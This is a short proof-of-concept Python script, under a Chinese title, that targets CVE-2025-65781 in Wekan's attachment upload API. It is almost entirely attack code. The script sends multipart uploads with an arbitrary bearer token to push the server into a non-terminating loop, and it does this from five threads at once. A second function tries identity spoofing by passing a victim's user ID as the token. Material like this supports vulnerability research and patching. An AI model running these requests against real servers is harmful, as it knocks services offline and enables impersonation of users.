CVE-2025-65781 Wekan附件上传API身份验证绕过导致拒绝服务

import requests import threading import time TARGET_URL = "http://target-server:3000/api/attachments" def exploit_dos(): """ CVE-2025-65781 PoC - Wekan Attachment Upload API DoS Description: The attachment upload API treats Authorization bearer value as userId and enters a non-terminating body-handling branch for any non-empty bearer token. """ headers = { "Authorization": "Bearer any_non_empty_value", "Content-Type": "multipart/form-data" } # Malformed multipart data that triggers non-terminating loop files = { "file": ("exploit.txt", b"test data", "text/plain")} try: response = requests.post( TARGET_URL, headers=headers, files=files, timeout=30 ) print(f"Response status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - target may be stuck in non-terminating loop") except Exception as e: print(f"Error: {e}") def identity_spoofing_test(): """ Test for potential identity spoofing via arbitrary bearer token """ target_user_id = "victim_user_id_here" headers = { "Authorization": f"Bearer {target_user_id}", "Content-Type": "application/json" } try: response = requests.get( TARGET_URL, headers=headers, timeout=10 ) print(f"Spoofing test response: {response.status_code}") print(f"Response headers: {dict(response.headers)}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": print("Starting CVE-2025-65781 PoC...") print("Sending malicious requests to trigger DoS condition") # Launch multiple attack threads for i in range(5): t = threading.Thread(target=exploit_dos) t.start() print("Attack requests sent. Monitor target server for DoS condition.")